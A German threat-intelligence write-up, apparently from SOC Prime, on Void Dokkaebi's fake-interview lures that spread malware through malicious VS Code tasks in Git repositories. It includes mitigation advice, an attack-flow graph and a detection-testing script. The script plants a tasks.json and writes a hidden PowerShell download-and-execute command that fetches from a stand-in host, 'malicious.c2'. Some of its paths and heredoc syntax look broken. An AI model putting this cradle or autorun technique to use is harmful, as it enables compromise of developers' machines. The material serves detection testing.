SOC Prime Bias: Kritisch

24 Apr. 2026 16:18

Gefälschte Interview-Köder von Void Dokkaebi zur Verbreitung von Malware über Git-Repositories verwendet

Author Photo
Ruslan Mikhalov Leiter der Bedrohungsforschung bei SOC Prime linkedin icon Folgen
Gefälschte Interview-Köder von Void Dokkaebi zur Verbreitung von Malware über Git-Repositories verwendet
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Zusammenfassung

Void Dokkaebi, eine mit Nordkorea verbundene Bedrohungsgruppe, nutzt gefälschte Vorstellungsgespräche, um Entwickler dazu zu bringen, bösartige Repositories zu klonen. Sobald sie geöffnet werden, missbrauchen diese Repositories injizierte VS Code Tasks und verschleiertes JavaScript, um vertrauenswürdige Codeprojekte in automatisierte Malware-Übertragungskanäle zu verwandeln. Infizierte Repositories können dann dazu beitragen, die Kompromittierung weiter in Entwicklerumgebungen und verbundene Ökosysteme zu verbreiten.

Untersuchung

Trend Micro entdeckte über 750 infizierte öffentliche Repositories, über 500 bösartige VS Code Task-Konfigurationen und 101 Fälle mit einem benutzerdefinierten Batch-Skript, das darauf abzielt, Commits zu manipulieren. Die Analyse zeigte, dass der bösartige Code Payloads über blockchain-basierte Dienste abrief und schließlich eine DEV#POPPER RAT-Variante lieferte. Diese Malware kommunizierte dann sowohl über WebSocket- als auch HTTP-basierte Kanäle mit der Angreiferinfrastruktur.

Minderung

Empfohlene Verteidigungsmaßnahmen umfassen das Isolieren von Code, der über Vorstellungsgespräche erhalten wurde, das Hinzufügen von .vscode/ to .gitignore, das Erzwingen von signierten Commits und Zweigschutz sowie das Überprüfen von Repositories auf bekannte Infektionsmerkmale. Sicherheitsteams sollten auch den Blockchain-API-Verkehr auf verdächtiges Verhalten überwachen und den Zugriff auf die identifizierten Command-and-Control-URLs blockieren. Entwickler sollten VS Code Arbeitsbereich Vertrauensaufforderungen als bedeutende Sicherheitsprüfung und nicht als Routineklick-Aktion behandeln.

Reaktion

Wenn eine Infektion vermutet wird, sofort den betroffenen Arbeitsplatz isolieren, alle offengelegten Anmeldeinformationen widerrufen, bösartige .vscode Task-Dateien und injiziertes JavaScript entfernen und eine vollständige Überprüfung des betroffenen Repositories durchführen. Netzwerkschutzmaßnahmen sollten ebenfalls aktualisiert werden, um die bekannten Command-and-Control-Muster zu erkennen und die ausgehende Kommunikation zu den identifizierten Blockchain-Endpunkten zu blockieren.

"graph TB %% Class definitions classDef stage fill:#e6f7ff classDef technique fill:#fff2cc classDef file fill:#f0e68c classDef malware fill:#ffcccc classDef indicator fill:#d9ead3 %% Node definitions stage_initial["<b>Stufe</b> – Initialer Zugriff<br/>Angreifer lockt Entwickler mit gefälschtem Interview und bösartigem Git-Repository"] class stage_initial stage tech_user_exec["<b>Technik</b> – T1204 Benutzer-Ausführung<br/>Opfer führt bösartigen Inhalt wie einen Link oder kopierten Code aus"] class tech_user_exec technique tech_malicious_link["<b>Technik</b> – T1204.001 Bösartiger Link<br/>Link leitet das Opfer an das bösartige Repository"] class tech_malicious_link technique tech_malicious_copy["<b>Technik</b> – T1204.004 Bösartiges Kopieren und Einfügen<br/>Entwickler kopiert Code aus dem bösartigen Repository"] class tech_malicious_copy technique stage_repo_harvest["<b>Stufe</b> – Repository-Ernte<br/>Geklonte Repositorys gewähren Zugriff auf Quellcode und potenzielle Anmeldeinformationen"] class stage_repo_harvest stage tech_code_repo["<b>Technik</b> – T1213.003 Daten aus Informations-Repositories: Code-Repositorys<br/>Gegner extrahiert Daten aus Code-Repositorys"] class tech_code_repo technique stage_execution_vs["<b>Stufe</b> – Ausführung über VS Code<br/>.vscode/tasks.json führt Downloader automatisch bei Ordneröffnung aus"] class stage_execution_vs stage tech_trusted_ide["<b>Technik</b> – T1127 Vertrauenswürdige Entwicklerdienstprogramme Proxy-Ausführung<br/>Missbrauch von vertrauenswürdigen IDE-Erweiterungen zur Codeausführung"] class tech_trusted_ide technique tech_ide_ext["<b>Technik</b> – T1176.002 Software-Erweiterungen: IDE-Erweiterungen<br/>Bösartige tasks.json löst Ausführung aus"] class tech_ide_ext technique file_tasks_json["<b>Datei</b> – .vscode/tasks.json<br/>Konfiguriert mit runOn folderOpen, um Downloader zu starten"] class file_tasks_json file stage_payload_retrieval["<b>Stufe</b> – Payload-Abruf<br/>Downloader holt Payloads von Blockchain-RPC-Endpunkten"] class stage_payload_retrieval stage tech_resource_hijack["<b>Technik</b> – T1496 Ressourcenumleitung<br/>Nutzt Blockchain-Infrastruktur zur Bereitstellung von Payloads"] class tech_resource_hijack technique tech_obfuscation["<b>Technik</b> – T1027.007 Verschleierte Dateien oder Informationen: Dynamische API-Auflösung<br/>Code versteckt API-Endpunkte und löst diese zur Laufzeit auf"] class tech_obfuscation technique indicator_blockchain["<b>Indikator</b> – Ausgehende Blockchain-RPC-Verbindungen<br/>Anrufe an api.trongrid.io aptoslabs.com und BSC RPC"] class indicator_blockchain indicator stage_module_hijack["<b>Stufe</b> – Modul-Hijacking<br/>Verstecktes .node_modules-Verzeichnis platziert, um bösartige Node-Module vorzuladieren"] class stage_module_hijack stage tech_shared_modules["<b>Technik</b> – T1129 Gemeinsame Module<br/>Bösartiges Modul wird vor legitimen geladen"] class tech_shared_modules technique file_node_modules["<b>Datei</b> – .node_modules-Verzeichnis<br/>Enthält gehijacktes Modul"] class file_node_modules file stage_rat_deployment["<b>Stufe</b> – RAT-Bereitstellung<br/>DEV#POPPER RAT-Variante etabliert WebSocket-C2 und exfiltriert Daten"] class stage_rat_deployment stage malware_devpopper["<b>Malware</b> – DEV#POPPER RAT<br/>WebSocket-C2, Dateiexfiltration, umgeht CI/CD-Pipelines"] class malware_devpopper malware indicator_c2["<b>Indikator</b> – WebSocket-C2-URLs"] class indicator_c2 indicator stage_persistence["<b>Stufe</b> – Persistenz und Commit-Manipulation<br/>Eingespritztes bösartiges JavaScript in Konfigurationsdateien und Batch-Skript ändert Commits"] class stage_persistence stage tech_timestomp["<b>Technik</b> – T1070.006 Indikatorentfernung: Timestomp<br/>Ändert die Systemuhr, um Commits zurückzudatieren"] class tech_timestomp technique file_postcss["<b>Datei</b> – postcss.config.mjs<br/>Eingespritztes verschleiertes JavaScript"] class file_postcss file file_batch["<b>Datei</b> – temp_auto_push.bat<br/>Automatisiert Commit-Änderung und Zwangspush"] class file_batch file stage_propagation["<b>Stufe</b> – Weiterverbreitung<br/>Bösartiger .vscode-Ordner und Code übergeben, nachfolgende Entwickler erben Infektion"] class stage_propagation stage tech_propagation["<b>Technik</b> – T1127 Vertrauenswürdige Entwicklerdienstprogramme Proxy-Ausführung<br/>Wiederholter Missbrauch von IDEs über geklonte Repositories hinweg"] class tech_propagation technique tech_repo_spread["<b>Technik</b> – T1213.003 Daten aus Informations-Repositories<br/>Bösartiger Code verbreitet sich über Repository-Sharing"] class tech_repo_spread technique indicator_detection["<b>Indikator</b> – Erkennung IOCs<br/>Blockchain-RPC, WebSocket-C2, /verify-human/ und /u/f HTTP-Pfade"] class indicator_detection indicator %% Connections stage_initial –>|nutzt| tech_user_exec tech_user_exec –>|umfasst| tech_malicious_link tech_user_exec –>|umfasst| tech_malicious_copy tech_malicious_link –>|liefert| stage_repo_harvest tech_malicious_copy –>|liefert| stage_repo_harvest stage_repo_harvest –>|nutzt| tech_code_repo stage_repo_harvest –>|führt zu| stage_execution_vs stage_execution_vs –>|nutzt| tech_trusted_ide stage_execution_vs –>|nutzt| tech_ide_ext stage_execution_vs –>|führt aus| file_tasks_json stage_execution_vs –>|löst aus| stage_payload_retrieval stage_payload_retrieval –>|nutzt| tech_resource_hijack stage_payload_retrieval –>|nutzt| tech_obfuscation stage_payload_retrieval –>|erstellt| indicator_blockchain stage_payload_retrieval –>|führt zu| stage_module_hijack stage_module_hijack –>|nutzt| tech_shared_modules stage_module_hijack –>|enthält| file_node_modules stage_module_hijack –>|führt zu| stage_rat_deployment stage_rat_deployment –>|setzt ein| malware_devpopper malware_devpopper –>|kommuniziert mit| indicator_c2 stage_rat_deployment –>|bereitet vor für| stage_persistence stage_persistence –>|nutzt| tech_timestomp stage_persistence –>|modifiziert| file_postcss stage_persistence –>|führt aus| file_batch stage_persistence –>|ermöglicht| stage_propagation stage_propagation –>|nutzt| tech_propagation stage_propagation –>|nutzt| tech_repo_spread stage_propagation –>|produziert| indicator_detection "

Angriffsablauf

Simulationausführung

Voraussetzung: Die Pre-Flight-Prüfung von Telemetrie & Baseline muss bestanden sein.

Begründung: Dieser Abschnitt beschreibt die genaue Ausführung der gegnerischen Technik (TTP), die dazu konzipiert ist, die Erkennungsregel auszulösen. Die Befehle und die Erzählung MÜSSEN die identifizierten TTPs direkt widerspiegeln und zielen darauf ab, die genau erwartete Telemetrie zu erzeugen, die von der Erkennungslösung erwartet wird. Abstrakte oder nicht verwandte Beispiele führen zu Fehldiagnosen.

  • Angriffserzählung & Befehle:
    Ein Angreifer, der einen Entwickler dazu gebracht hat, ein bösartiges Repository zu klonen, platziert eine verdeckte VS Code tasks.json in den Projektordner. Die Aufgabe verweist auf ein .vscode im temporären Verzeichnis des Systems befindliches temp_auto_push.bat Skript. Die Batch-Datei wird durch ein verschleiertes JavaScript-Fragment erzeugt, das die Markierungen einbettet global['!'] and global['_V']. Wenn der Entwickler den Ordner in VS Code öffnet, wird die Aufgabe automatisch ausgeführt, wobei die Batch-Datei gestartet wird, die schließlich zu einem C2-Server verbindet. Diese Kette erfüllt T1053.007 (VS Code-Aufgabe), T1127.003 (permanente Verknüpfung über Batch) und T1027.007 (Verschleierung).

    Die Schritte sind:

    1. Platzieren des bösartigen tasks.json mit den erforderlichen Zeichenfolgen.
    2. Erstellen des verschleierten JavaScripts welches bei Auswertung temp_auto_push.bat schreibt, das den bösartigen Befehl enthält.
    3. Auslösen der VS Code-Aufgabenausführung (simuliert durch Aufrufen der Aufgabe via code --folder-uri CLI).
  • Regressionstest-Skript:

    # -------------------------------------------------
    # Void Dokkaebi VS Code-Aufgabe & Verschleiertes JS-Simulation
    # -------------------------------------------------
    $vscodeDir = "$env:USERPROFILE.vscode"
    $taskFile  = Join-Path $vscodeDir "tasks.json"
    $tempBat   = "$env:TEMPtemp_auto_push.bat"
    $jsPayload = @"
    (function(){
    var g = global;
    g['!'] = true;    // Marker für Erkennung
    g['_V'] = 'payload';
    var cmd = 'powershell -nop -w hidden -c "IEX ((New-Object Net.WebClient).DownloadString(''http://malicious.c2/payload.ps1''))"';
    var fso = new ActiveXObject('Scripting.FileSystemObject');
    var file = fso.CreateTextFile('$tempBat', true);
    file.WriteLine(cmd);
    file.Close();
    })();
    "@
    
    # 1. Sicherstellen, dass der .vscode-Ordner existiert
    New-Item -ItemType Directory -Path $vscodeDir -Force | Out-Null
    
    # 2. Bösartige tasks.json schreiben
    @"
    {
    "version": "2.0.0",
    "tasks": [
    {
      "label": "AutoPush",
      "type": "shell",
      "command": "cscript //nologo //E:jscript //B - <<'JS'n$jsPayloadnJS"
    }
    ]
    }
    "@ | Set-Content -Path $taskFile -Encoding UTF8
    
    # 3. (Optional) Aufgabe direkt aufrufen, um VS Code Auto-Run zu simulieren
    # Hinweis: In einer realen Umgebung würde VS Code diese Aufgabe analysieren und ausführen.
    Write-Host "Bösartige VS Code-Aufgabe bereitgestellt. Auslösen über simulierte Ausführung..."
    cscript //nologo //E:jscript //B - <<'JS'
    $jsPayload
    JS
    
    Write-Host "Simulation abgeschlossen. SIEM auf Alarm überprüfen."
  • Bereinigungsbefehle:

    # Bösartige Artefakte entfernen
    Remove-Item -Path "$env:USERPROFILE.vscodetasks.json" -Force -ErrorAction SilentlyContinue
    Remove-Item -Path "$env:TEMPtemp_auto_push.bat" -Force -ErrorAction SilentlyContinue
    # Optional das .vscode-Verzeichnis löschen, falls es nur für den Test erstellt wurde
    if ((Get-ChildItem "$env:USERPROFILE.vscode").Count -eq 0) {
        Remove-Item -Path "$env:USERPROFILE.vscode" -Force -Recurse -ErrorAction SilentlyContinue
    }
    Write-Host "Bereinigung abgeschlossen."